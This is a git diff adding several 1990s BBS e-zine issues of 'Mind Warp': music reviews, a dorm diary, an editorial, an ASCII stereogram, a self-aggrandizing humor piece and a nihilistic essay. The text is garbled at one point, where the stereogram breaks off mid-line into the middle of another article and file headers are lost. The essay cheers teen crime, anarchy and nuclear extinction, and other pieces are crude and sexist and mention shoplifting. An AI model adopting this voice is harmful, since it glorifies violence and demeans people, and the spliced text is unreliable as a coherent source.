+------------------------------------------------------------------------------ + + +Mind Warp! Funky Fresh Distro. BBSs: +------------------------------------------------------------------------------ +Name Number/Baud SysOp +------------------------------------------------------------------------------ +Arsonist's Arsenal BBS 301-208-0847 14.4k Davey the Pyro +Recluse 301-314-1505 14.4k Mustaine +------------------------------------------------------------------------------ +Please! We need more bbs's (especially out of the 301 area code!)! Send +mail to one of the listed addresses if you would like to be one, there aren't +any strange requirements, except that you run a 24 hour BBS. + + +Mind Warp! E-mail Addresses: +------------------------------------------------------------------------------ +mindwarp@aa.bbs.org (general mindwarp dealings..) +dtpyro@aa.bbs.org (raven) +catwoman@aa.bbs.org (Catwoman) +mustaine@wam.umd.edu (Mustaine) +------------------------------------------------------------------------------ +(To other Mindwarp Contributers, just yell if you want your address up there, + and be sure to tell me what it is. :) + + Distribution info: Please, distribute these all you want, but just +keep the files in format of MW!-XXX.TXT where XXX is a the file number that +is already on there. Also, if the file is archived, please keep it in the +same format, except for the .TXT extension which should be replaced by the +default extension of the archiving program (ex. ZIP,ARC,ZOO,ARJ,LZH, etc..). +And the other format of distribution (and probably now the MAIN format) is +in the form of MW!-VXX.AAA, where XX is the volume number, and AAA is the +default archive extension. This method will contain all of the issues of one +volume in a single archive. +** New! Another format of distribution is the MWy-XXX.TXT, where y is the +volume number and XXX is the file number. Mustaine had to start this format +for the FTP site, because UNIX doesn't allow the '!' character in filenames. +Thanks. + +- Raven + +============================================================================== + Call Arsonist's Arsenal BBS the Mind Warp WHQ - (301) 208-0847 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-041.txt b/textfiles.com/magazines/MINDWARP/mw-041.txt new file mode 100644 index 00000000..ce2dc4d4 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-041.txt @@ -0,0 +1,142 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #3, Issue #0, File #041 ] + [ "Music Review #5" by Mustaine ] + +------------------------------------------------------------------------------ + Mustaine's Music Review #5 + [Mustaine] + + + Mustaine's Music Scale + + 0) SuCKS!!! + 1) BiTeS!!! + 2) eWW!!! + 3) CRaP!!! + 4) BLaH, BLaH... + 5) NoT HaLF BaD, BuT CRaP.. + 6) GeTTiN' THeRe!!! + 7) KeWL..SoRTa + 8) Yo! I CaN DiG THiS SH*T. + 9) Woo! PLaY SoMe MoRe... + 10) F*CKiNG iNCReDiBLe!!! + + +Band #1 +Name : Yes +Album : 90125 (no, it ain't beverly hills..) +Info. : WOO! Like this is a kewl 70's band, back in the 80's...well now + it's the 90's..but who cares, eh?. It's just really cool. + The song "Owner of a lonely heart gets ya into the CD...then it + sucks for a while...then it get's kewl with "Changes"...then it + sucks some more...then you get pissed off cuz u bought it without + reading my review...so you didn't know it sucked! HAHAHHAHAHA + Here are the songs...in order. If you buy this, you either like + Yes, or you just wanne be kewl like me. + + 1) Owner of A Lonely Heart *10 + 2) Hold On *05 + 3) It Can Happen *05 + 4) Changes *10 + 5) Cinema *05????? + 6) Leave It *05 + 7) Our Song *05 + 8) City Of Love *05 + 9) Hearts *05 + + I am kewl. I must say. That, or I am really stupid for + typing this far without getting pissed off and blowing up my + computer. I hope it's the previous..and not the latter. + +Band #2 +Name : The Police +Album : Message In A Box (Box Set) +Info. : Good GOD man! If you like the Police, this is the box set to + get!! It includes everything they ever released while they were + together, plus a few live cuts. Not to mention the nifty info- + pullout that's wedged in between the FOUR CD's... DAMN! I + don't even have to rate this one, it rocks for Police fans!!!! + (Add to that fact that there are something like 50+ songs for me + to rate, and keeping in mind that I am lazy, you can clearly see + why I refuse to list all the songs...sorry!) + +Band #3 +Name : Testament +Album : Low +Info. : Wow. No Alex Skolnick this time around, apparently he left for + some other projects. That sucks in my opinion...because the only + people that are going to suffer are the members of Testament. His + guitar sounds was so unique I can't belive they let him go! + N-E-Way. This album is really, really, really, really, good. In + fact, this is one of the best metal albums I have heard so far this + year. Here are the songs, rated for your pleasure! + + 1) Low (3:33) *10 + 2) Legions (In Hiding) (4:17) *10 + 3) Hail Mary (3:32) *09 + 4) Trail of Tears (6:06) *11 (Very nice slow, metal!) + 5) Shades of War (4:40) *08 + 6) P.C. (2:50) *08 + 7) Dog Faced Gods (4:02) *08 + 8) All I Could Bleed (3:37) *09 + 9) Urotsukidoji (3:39) *10 (Instrumental) + 10) Chasing Fear (4:56) *10 + 11) Ride (3:06) *09 + 12) Last Call (2:40) *10 (Instrumental) + + + Testament has always been one of my favorite heavy metal bands. + They always manage to put in one or two songs that are slow, and + usually they put in some really interesting instrumental pieces. + I really reccommend checking at least one of their albums out at + some point in your life. Tower Records has this thing where you + can listen before you buy...try one out some time, eh? + +Band #4 +Name : Numerous! +Album : The Clerks Soundtrack +Info. : Ok, this soundtrack is nothing special, excepting the fact that it + has a really neat Alice In Chains song, and some really cool 10 + second clips from the movie that are really funny. Half of them + are great little clips to record on an answering machine. Please + note that one of my most favorite bands (Stabbing Westward) is + also favored on this track. Unfortunately, they recorded a REALLY + bad verison of Violent Mood Swings (called the 'Thread Mix') which + totally made the WHOLE band look like rabbit dung. Here + are the songs...enjoy. + + 2) Clerks *05 + 3) Kill the Sex Players *06 + 5) Got Me Wrong *10 + 7) Making Me Sick *05 + 9) Chewbacca *08 + 10) Panic in Cicero *05 + 11) Shooting Star *05 + 12) Leaders and Followers *04 + 14) Violent Mood Swings *07 (ONLY because of who they are!) + 15) Berserker *04 + 16) Big Problem *05 + 17) Go Your Own Way *LAME! + 19) Can't Even Tell *01 + + + Welpers, that's all folks. I'm off to bigger and better things. +I'm off to Valentine's day. Valentine's day....sigh. Oh well. + +Greets : Raven, Essex (schmuck), Danny, Pornlo, and alt.gymkana! + +============================================================================== + Call The Omniverse, the Mind Warp WHQ - (301) 718-0225 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-042.txt b/textfiles.com/magazines/MINDWARP/mw-042.txt new file mode 100644 index 00000000..791edafd --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-042.txt @@ -0,0 +1,90 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #3, Issue #1, File #042 ] + [ "the wop wop" by Angst ] + +------------------------------------------------------------------------------ + the wop wop + [Angst] + +Angst wrote this... imagine it all in blue + +I said i would write a mind warp article a long time ago. I told Mustiane +I would.. hehe uh.. i never did.. oops.. well now i wrote 2. k? i am in +a writing moood now.. so here goes.. this article is about... the wop wop. + +i got wop wop today.. i love wop wop.. wop wop is +the best.. and wop wop loves me too.. me and wop wop.. i know wop wop likes +me and not anyone else casue wop wop makes a nice sound for me.. wop wop +... wop wop and me will be together froever. i walked out of there with +wop wop who i love and who is great because wop wop was free. but i walked +out with wop wop in my hand with the stolen thing up my sleeve and wop wop +out in the open cause wop wop had no price it really was free.. not like +the thing up my sleeve.. it had a price of 3.17 so it was not free.. it was +up my sleeve. but i waslked out.. holding wop wop.. so happy i had wop wop. +i fell in love wil wop wop instantly... i was so fuckign happy it was given +to me for free.. so i went to the car and put wop wop down on the seat next +to me.. i alnost belted wop wop in, but then realized wop wop didn't need it. +because nothing could harm wop wop. so wop wop sat next to me and then we +drove.. i did not want to go home.. not go home to the pale boy on the phone +not go home to the pedophile and k... not go home to green hair chicka... not +go home to redneck asswipe not go home to mom.. not go home at all.. i +wanted to have a house that just me and wop wop would share.. i wanted to be +in my car with wop wop.. just live there.. wop wop was all i needed at that +moment.. and all i ever will i think. but anyways wop wop and me drove.. +drove without a care.. did 70... did 55 did not care... any speed was good +enough for me cause wop wop was there. all was calm... wop wop and me didn't +even get real mad when we were cut off.. it was ok.. it was all so fucking +ok because wop wop was there... don't ever leave me wop wop... i love wop +wop soo much... but i am going to make wop wop a star.. wop owp will be a +star one day... and it will be ok cause wop wop won't be a snob and wop wop +will stay with me and that's the wayu wop wop wants it.. i know. wop wop told +me so. wop wop wants to be a star, but wop wop want's no life o fame. that's +good.. becuase i really love my wop wop. but wop wop and i in the latino +gangsta car drove. we got to the atm. i needed money.. i touched wop wop +before i left.. i was scared someone would take my wop wop. steal wop wop +away from me.. i could not have that... i almost brought wop wop with me, +but then thought better of it.. even in deserted place i thought i tbest to +let wop wop stay and rest.. i got back and wop wop was still there .. i touch +wop wop again to make sure wop wop is still there.. that's good.. it's there. +love that wop wop.... i notice wop wop has clothes.. that is neet.. so when +wop wop gets bad on one side then take of the clothes and wop wop is good as +new again. i get home.. i carry wop wop upstairs.. hope noone asks questins +about wop wop... wop wop does not like others.. or maybe that is me.. maybe +it is both.. but i know we definately did not like the hick on the couch., +but i take wop wop upstairs and put it on green coat chair.. the green is +good for wop wop. and then i gotta pee.. so i grab phone.. i listen to +messages.. afraid someone is calling about wop wop.. someone wants wop wop +or soemthing.. someone who will steal my wop wop away from me... and there is +none.. and that makes me happy becayse wop wop is not threatened away from me. +so then i gotta do work so wop wop goes on the crates in a higher place +where nooen can harm wop wop and there wop wop sits.. i do the work and as i +do the work i think about wop wop.. how happy wop wop makes me.. but then i +think that one day wop wop is going to die.. wop wop is gong to die real soon. +and i wonder if i should still love wop wop or stop loving wop opw.. i am +scared that wop wop is going to leave me.. what if wop wop doesnot love me as +i love it? then what? so i try to decide whether to love wop wop or to send +wop wop away before wop wop hates me.. hurts me... but i decide wop wop is +all i have right now and that i will love wop wop and that wop wop will love +me too and if it dies or if it does not love me one dya then i will deal with +it then/.. so wop wop sits there as i do my work and as i finish and want to +write all about wop wop as i am now so that i will not forget my lovely wop +wop. + +ANGST ù all of the greatest stars live their lives in the looking glass + (Kraftwerk) + +============================================================================== + Call Hell's Kitchen - (301) 989-8510 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-043.txt b/textfiles.com/magazines/MINDWARP/mw-043.txt new file mode 100644 index 00000000..749a0888 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-043.txt @@ -0,0 +1,205 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #3, Issue #2, File #043 ] + [ "Musty's College Thang" by Mustaine ] + +------------------------------------------------------------------------------ + The College Experience, Semester I + [Mustaine] + + WOW! I recently was digging through my grab bag of articles that +had been working on and never finished. At the time, 12/10/94, I had +already written an article on college that I had intended to submit for +Mind Warp Volume III. I then came upon an old article that I had started, +which conviently also had to do with college, so I decided to splice them +together, add some stuff in the middle, and produce a monstrously confusing +article that I think Raven will publish. Why not? He said he'd publish +anything. It's done in six parts. Here we go again (to quote WhiteSnake).. + +[----------------------------------------------------------------------------] + +Table of Contents +----------------- + + I) The Introduction (You just read it...) + II) The table of contents. (Your readin' em. +III) The REVISED "Arrival At College" (??/??/??) + V) The REVISED "In Between Commentary" (12/11/94) + V) The ORIGINAL "Final Days of Semester I" (12/01/94) + VI) The Conclusion, Summary.. (12/11/94) +[----------------------------------------------------------------------------] + +"Arrival At College" - The College Dorm + + I came, I saw, I want to leave....NOW. Ok folks I'm at college now, +living ON campus, in a closet, and it's.....different? Let me put this +in perspective. Recently I finished my last day of work, said my +farewell's to my co-workers, and packed my bags for college. Fifteen +hours later, I am here, in my dorm...which I would call a small closet, +and I am stuck here for FOUR to FIVE years. AHHHHHHHHHHHHHHHHHHHHHHHHH! + Friday, the 26th of August, 1994 - Well, to start things off, today +was really boring...and depressing. I got up at 8:00 today, and drove +'Pornlo' (my brother) to work today to open the gym up where we work. Great. +I then went back home to pick up 'The Ice Queen' (my sister) and then proceed +to drive her to the gym where she is to practice for the next several hours. +Then I don my staff shirt, put on my best smile, and walk into hell. I'm +not going into detail about work in this article...if you want THOSE glorius +details read the article KIDS...should have been published in Mind Warp +by now. At any rate, I walk in about midway into the camper shift to help +out my co-workers. Really simple shift really...all I had to do was walk +some day campers through some gymnastics events...and then dump them upstairs +for lunch while I did a birthday party. That party is a whole other story +that I'll eventually write. + At any rate, the party ended, and my co-workers and myself all quickly +met for a sort of sending off in the staff office. There were four of us +leaving for college...myself, Mandy, Janna and Jenny. I am going to +College Park, Mandy to Townsend, Janna to Montgomery College, and Jenny +to the University of Rhode Island. Jenny had already left...so she wasn't +really at this meeting. Many was there..and I gave her my address, and +I asked Janna to watch after my brother and another co-worker Jenny, who +were staying the job untill they are done with High School. (For those +of you reading this out of state, Janna's college is like 5 minutes away +from my work....) At any rate, that done, we all left our seperate ways. + I went home. Boring. I packed really quickly, had a microwave burrito, +and hit the bed. Viola. End of day.... + Saturday, the 27 of August, 1994 - Wham. I hit the alarm clock as it +rings showing 9:00am. It's college day! After about an hour of fussing, +I end up in the family van, with my WHOLE family, on the way to college. +Woo. Then comes college. I arrive, along with fifty gazillion other +freshman, and begin to lumber my crap up to my room. Boy what a shocker. +My room, or dorm as I must call it...it the size of a janitorial closet +at McDonalds...and about as smelly as McDonalds too. After moving in all +my stuff, my parents left. YES! That YES! lasted about two seconds untill +I actually looked around my room. Aside from the krad fridge, the absence +of two annoying siblings...coughPornlocough...this was way lame. Everything +is long distance from the phone...which is hooked to a PBX, so to dial say +Arosnist's Arsenal I haffa do 9,1,3012080847,,,XXXXXXX (XXXXXX being my +PSC or Personal Security Code). LAME. About an hour later my roomate +arrives...he is very cool...his alias is Johahan. He is like 6.2 and that +is WAY tall compared to my small frame. With that in mind, I went out into +college land. YES! There are many girls in College Park. About 70 percent +of them register a rating of 8,9, or 10 on my scale. Not that I could +date any of them...freshmen are spurned. AHHHHHHHHHHH! Tommorow looks to +be interesting. + +"In Between Commentary" - What happened between then and NOW. + + Wow. I thought it was bad when I initally arrived. It got WORSE. My +roomate turned out to be a Schmoe, who BROKE my stereo and led a revolt with +the bacteria in the bathroom to better moronkind everywhere. I turned out +to have HARD classes, and I found out that all the girls here are preppy +bitches (well, I guess we can't count Angst) and MOST of them have weird +STD's.... I ain't in high school no more...WHHHHHHHHHHHHHAAAAAAHHHHHHHH! + +"Final Days of Semester I" + + +[----------------------------------------------------------------------------] +Disclaimer : If you are elderly, have a weak heart, like Yani, or in any way + shape or form get disgusted by watching Mr. Clean commericals, + PLEASE, FOR THE LOVE OF GOD MAN!...stop reading. Otherwise, + dig in. +[----------------------------------------------------------------------------] + +AHHH! This semester has been pure HELL! Let me describe to you, with just +a wee bit of embelishment, exactly what took place in my dormitory last week +We'll start in the morning, and work our way up. + The alarm clock brutally started blaring the utterly LAME music of Green +Day when I awoke to the ever small (it's a FRIKIN closet) dormitory where I +have resided ever since I made the mistake of enrolling at this college. +Looking around, I saw that my roomate had finally gotten in from the night +before, with a truckload of strewn miller lite cans lying around his bed like +maggots clinging to a pile of dung. Groaning as I bent over to shut off my +alarm clock, I realized from the LED display that I only had about 45 minutes +to shower, dress myself, eat, and get my quite cute ass to Math class in a +building a little over 15 minutes walk from my hellish residence. Throwing +of the last vestiges of my sleepiness, I bound from bed to collect my +"shower-bucket." + I then grabbed my room keys, and walked across the hall into the slum I +am supposed to believe is a "bathroom". +It looks more like it is a Nazi torturing area, and it smells like that +"Bog of Eternal Stench" place from that movie Labrinth. N-E-Ways, I walk +over the the closet shower stall to find one of the fucking asshole hallmates +passed out in his own urine in the stall. We can guess from this that +Musty is fairly certain of one shower stall he WILL NOT be showering in. +I walk to the next stall to find hair and shaved soap strewn about the floor, +consequently clogging up the drain. Oh well. I then settled on the third, +and final shower stall. The only possible thing I can bitch about this stall +would be the rust, and the fungus which has been growing out of the rusty +pipes. I then proceeded to shower. I realize that many of you would now +like me to describe my body features (as some WEIRD MO FO) did in MW!-033.TXT +BUT alas, I AM NOT A FRIKIN' Pervet...sorry. I will say that I have A VERY +cute ass for all you loving "women" fans out there...WHO I AM SURE BY NOW +JUST WANT TO SEND ME SOME HATE-MAIL, EH??? + The next thing I did was to proceed back to my room, clothe myself, and +run my butt out to class, without any breakfast. + + [ Female Reader : AWWWWWWWWWWWWWWWWWWWW! Poor Mustaine. I'll have to + offer my body up to him as consolation next time I see + him. ] + + [ Male Reader : THAT PRICK! I HOPE HE STARVES! Him and HIS huge penis + too! ] + + I then proceeded to go to class (hell) for the next few thousand hours, +and I would rather not talk about that hellowing experience. Suffice to say +that CLASS was hell, and I soon arrived back at my dorm..at 10:00pm that +night. Now the fun began! + 10:00 pm is the "set" quiet hours for our dorm. This means that no one +can play their stereo loud, or run around the halls making noise. LET ME +TELL YOU... + As I arrived, I saw Mr. X, or resident 12 IQ football player turning his +stereo on at about 5,000,000 decibals louder than it was meant to go. It +was playing some music about a black girl that was being raped by four black +"bruthas." Needless to say, I was not amused. + Next, andother hallmate goes running up and down the hall with a LaRami +watergun filled with piss shooting at everyone. Need I say more on him? + MORE, that idiot's roomate grabbed the trashcans from the hall and ran +down the hall dumping them into unsuspecting victims rooms. + I could go on and on..but I think you get my point. The police arrived +around 2:00am and put an end to the bullshit. It was defitly NOT one of the +highlights of my college career thus far!!! + +"Conclusion, Summary" + + OK, I know I just slapped that together, and I realize it was very +confusing, and in all probabilty Raven is scratching his head right now +questioning my sanity BUT.... + College is NOT all fun and games like so many people glamoratize it to +be. You have to buckle down, take really hard classes, and do a LOT more +work then you ever did in high school. You can't BBS all day, and screw +girls all night. You wind up with lousy roomates, and weird junk growing +out of your ears. When you go to college try to follow these little rules: + +1) Get a roomate you can deal with. +2) Don't get in the dorm with the practicing KKK members. +3) Don't transfer to the football dorm. +4) Don't screw anything without a condom. +5) Don't read ANYTHING Mustaine writes! + +[----------------------------------------------------------------------------] + + There, I'm done. Greets: + + Raven - PUBLISH this, please? + Pornlo - Stay off the sidewalk. + Red Dragon - BIAAAATCH. I kill you. + Essex - WHERE ARE YOU??? + Casper - Moocha, Moocha. + Julie - Moocha, Moocha. + + +============================================================================== + Call The Omniverse, the Mind Warp WHQ - (301) 718-0225 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-044.txt b/textfiles.com/magazines/MINDWARP/mw-044.txt new file mode 100644 index 00000000..43bb0939 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-044.txt @@ -0,0 +1,58 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #3, Issue #3, File #044 ] + [ "Rock the Cradle" by Mustaine ] + +------------------------------------------------------------------------------ + Rock the Cradle + [Mustaine] + + + Once upon last month, in a very lame area code (301) there died TWO very +important boards. Arsonist's Arsenal, followed up by Recluse, both bit the +big one.. Why? When? None of your buisness. So the sysops of these +esteemed BBS's got together to talk. + + Sysop # 1 "Hello? Raven?" + + Sysop # 2 "Hey Mustaine...my board's down." + + Sysop # 1 "ACK! What to do about the Mind Warp?" + + Sysop # 2 "Well, you could run it.." + + Sysop # 1 "Uh..no.." + + Sysop # 2 "How about we run it though the internet, and you handle + submissions?" + + Sysop #1 "Uh...YEAH!" + +And thus Mind Warp was saved. Unfortunately, poor Mustaine fricking makes up +something like 50 percent of the articles represented within the Zine. Now, +to mention that all of his articles are either boring, or twisted would be +a gross understatement. SO, Mustaine is personally asking that we get some +more articles for the Zine. Write em up, and send em to us. Just please, +don't email me with crap like "What should I write about?" It just ticks +me off. Write something...and WE'LL PUBLISH IT. It's that simple. Of +course, that pornographic text file stuff is not my scene, BUT...Raven might +publish it... I go for stories, editorials, music reviews, art, etc. So +write stuff, send it to me. mustaine@wam.umd.edu It's that simple. Olay! + + mustaine + + +============================================================================== + Call Hell's Kitchen - (301) 989-8510 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-045.txt b/textfiles.com/magazines/MINDWARP/mw-045.txt new file mode 100644 index 00000000..aeb46271 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-045.txt @@ -0,0 +1,67 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #3, Issue #4, File #045 ] + [ "Stereograms" by raven ] + +------------------------------------------------------------------------------ + SIRTS (Freshen Your Breath!) + [raven/Groupless :(] + + Ok, so I got really bored, and really hard up for articles (what else +is new?) and was ftp'ing some faqs, and came upon the SIRDS(stereograms) faq. +In the faq was the C source to make an ASCII stereogram (SIRT). These are a +bitch and a half to see. But they do work, try the one below, and then go +visit the eye doctor. :) + +Stereogram : +------------------------------------------------------------------------------- + X X X X +kV8K(d4t5PJ%oqk_kV8K(d4t5PJ%oqk_kV8K(d4t5PJ%oqk_kV8K(d4t5PJ%oqk_kV8K(d4t5PJ%oqk +gk|spOZ_q>Tbb^[Dgk|spOZ_q>Tbb^[Dgk|spO_q>/Tb^[Dmg|spO{_>/T9b^Dm7gspO{_L>/T9b^Dm +>0]"=sgz-1r:h.Kz>0]"=sgz-1r:h.Kz>0]"=sz-1r\h.Kzr>0"=|sz1r\h<.zr`>"=t|z1&r\h<.zr +Ya]]dFH?QGx:wC<`Ya]]dFH?QGx:wC<`Ya]]dF?QNx:wH<`1Ya]d)F?Nx+wHp`1zY]dg)FNx.+wHp`1 +Vhxnv%]/L2vh5;R-Vhxnv%]/L2vh5;R-Vhxnv%/L[2hS5R-+VhnvX%/[2Wh5R-+cVnvQX/[C2Wh5R-+ +I#zq\+*ic2q7F8MRI#zq\+*ic2q7F8MRI#zq\+icx2q7FMR.Izq\+vix2Iq7MR.pIq\+vikx2Iq7MR. +f.[mE+6h)"7fz\Q>.5YT{/!K.vg1>\Q>.5{/f/.#.1>7>\.5[5f/!/.1>Z>7.5r5f/{/!1>E>7.5.5r +o[|i0K]dE3xaK,3do[|i0K]dE3xaK,3do[0KSdE3HaKAKdo[0KSdE)EaKAKdoYo[SdE)Ea;aKdoEoYo +N*xa:._5Re(i6]G?N*xa:._5Re(i6]G?N*:._5]e(i6Y6?NYN*:5]N]i6)6?T?NY:5b5]N]i6)6?T?N +mw@d7Q1p>0|P#W%Amw@d7Q1p>0|P#W%Amw7Q1z1p|P#p#Amxmw7z1M1P#&#Amgmx7z6z1M1P#Am?mgm +2Y`@MG/=K: is MALE. Predominatly sexist, +masculine, egotistical, and downright Mustaineish. In fact, there is even +a rating system for God. According the the Goddess of College Park (Dani +Offen), who is going to kick my ass for publishing her name :), Mustaine +rates around 15 (out of a scale of ten) for ego. For conceit she gives me +an eight...but we'll work on that. By the way, while I'm actually writing +this article (because you never know, right Raven????) Dani is the sexiest, +coolest, most beautful chick I have ever had the fortune of laying my eyes +on. Too bad she no like me. POO! Oh well. I would date her any time. + Ack! Digression. (AS usual.) All the small woodland creatures +in the Mustaine continuum are called 'Musty', and all the fish are flounder. +All the women are either beautiful, tall, slender and sexy redheads (cough- +Dani-cough), or smashingly exquisite brunette's that look like some chick +called Meg Q. (Can you tell Musty's pressed...eh???) + Everything in the Mustaine continuum is green, except the people, and +cheese NEVER molds here. There are no diseases, (so you can screw untill it +falls off!!!), and NO ONE ever gets PMS here. Stabbing Westward and Dream +Theater play every other song on every radio station...and EVERYONE in this +contiuum can dance, and KISS as good as me. Not only that, but there are NO +PIMPLES in the Mustaine continuum! NO ******* clearasil!!!! + + [Editor's Note: "*******" is Mustaine's censored version of "fucking."] + + So you want to live here right? You want to check this place out +right?????? Well, just in case you do, e-mail me at mustaine@wam.umd.edu, +and we will talk about the 1 year limited living permit inside the Mustaine +continuum. It's really cheap for cute, single women...and for men...it runs +about 30 million dollars per month. Check it. + + +Greets : Dani, Meg Q. (I luv u), alt.gymkana, Erudite, Raven, Papa Smurf, + COSMiC CLoWN!, and Mott's Apple Juice. + + +============================================================================== + Call Hell's Kitchen - (301) 989-8510 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-047.txt b/textfiles.com/magazines/MINDWARP/mw-047.txt new file mode 100644 index 00000000..d5fee7d7 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-047.txt @@ -0,0 +1,100 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #3, Issue #6, File #047 ] + [ "End of the World" by Killer Wombat ] + +------------------------------------------------------------------------------ + Its The End Of The World As We Know It + (And I Feel Fine) + [Killer Wombat] + + Armageddon, Nostradamus, Satan... FUCK THEM. Yes, the world will be +ending in the next 2 decades or so, but all the bull-shit religions that +people believe in arent have nothing to do with it. No antichrist fellow is +going to come along and kill everyone in a day. The end of the world is going +to be much slower and more painful than that. Its a good fucking thing, too. + Now I dont study sociology any more than the next guy, but just because +Im smarter than the average bear, it is clear to me that all of you are going +to die, and its your fucking fault. Just look at the generation gap between +the 80s kids and the 90s kids. The 80s kids are now in their 20s, and with +the exception of a few, are generally a pretty caring, responsible group. +They are all into this Save The Planet bullshit and spend their money on +environmentally safe detergents, etc. This is the case against the end of the +world. If everyone was like the 80s bunch, chances are that the world would +be in a good condition. A minority of 80s kids were into the punk lifestyle. +Which, in my eyes is the way to go. Im sure you know all about the punk +culture, so Im not gonna waste my energy on that. Not enough people were +into the punk thing in the 80s to do any damage... sure it was big, but not +big enough. In the 90s however, punk broke and merged with the mainstream. +Today's kids are truly punks at heart, they just dont know it, and because of +this, a good majority of today's teens are destructive, apathetic, chain- +smoking fuckheads who vandalize, steal, abuse drugs, and break the law far +more than any 80s type person. This is definitely a good thing. Were +talking good with two zeros. If you look at statistics, you will see crimes +among teens have gone up since the 80s. Were not talking 1% either, I mean +at least 15%. If this trend continues, we will have a decent recipe for +widespread disaster. Wait until the next decade when we are in our twenties +and the next generation is looting and vandalizing and stealing on a day-to-day +basis. I cant wait. In fact, I can predict the entire time-line. Here +fucking goes: + + 2005- Rebel youth are now in the majority. Teens are bringing guns, + drugs, and other illegal items to school in numbers which + are unstoppable by the authority. + + 2010- Teens start rioting, looting, and vandalizing by the million. + Were not talking just the U.S., either, were talking + western civilization + + 2013- The government is overthrown, at long last. Authority, being + lazy, greedy fools, cant stop people from anything, due to + the sheer numbers of the crimes. + + 2014- Apathy and greed among everyone creates complete anarchy for + at least the US. Life is good. People start killing each + other like mad. + + 2015- Civil wars break out in many countries along with mass + terrorism. Tensions between other countries begin to + develop. + + 2016- World War III is upon us. GOOD. + + 2017- After three years of civilian warfare, and killing for fun, + the nuclear weapons are brought out to play. Were talking + NUCLEAR WARFARE, baby. + + 2019- Human life is scarce among a scene of decay, ruin, and ash. + Those strong enough to survive are few and far between. Due + to deadly fallout, nuclear winters, radiation, and disease, + those who were able to survive the bombings die due to lack + of everything. + + 2020- With the exception of a tiny population (maybe 10,000 people + or so) The human race is wiped out. No chance of coming + back. In a few years, there is no trace of human life on + earth. GOOD. + + Well thats my little prediction... Ill be damned if its accurate. Well +I guess the moral of this t-file is: You cant make a fucking difference. The +world is coming to an end in the next 25 years. Theres NOTHING you can do +about it. So have fun and dont worry about a career, a future, etc. Youll +be dead by the time youre 35. + + +Written by Killer Wombat 12/23/94. + +============================================================================== + Call The Omniverse, the Mind Warp WHQ - (301) 718-0225 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-048.txt b/textfiles.com/magazines/MINDWARP/mw-048.txt new file mode 100644 index 00000000..4dca3956 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-048.txt @@ -0,0 +1,123 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #3, Issue #7, File #048 ] + [ "Music Review #6" by Mustaine ] + +------------------------------------------------------------------------------ + Mustaine's Music Review #6 + [Mustaine] + + Mustaine's Music Scale + (de-k-rad'd from demand) + + + 0) Sucks!!! + 1) Bites!!! + 2) Eww!!! + 3) Crap!!! + 4) Blah, Blah... + 5) Not half bad, but crap.. + 6) Gettin' there... + 7) Kewl..sorta + 8) Yo! I can dig this stuff! + 9) Woo! Play some more... + 10) Incredibly Spiffy! + + + Hey folks, before I begin, I would like to point something really +nasty out. If you remember back to Music 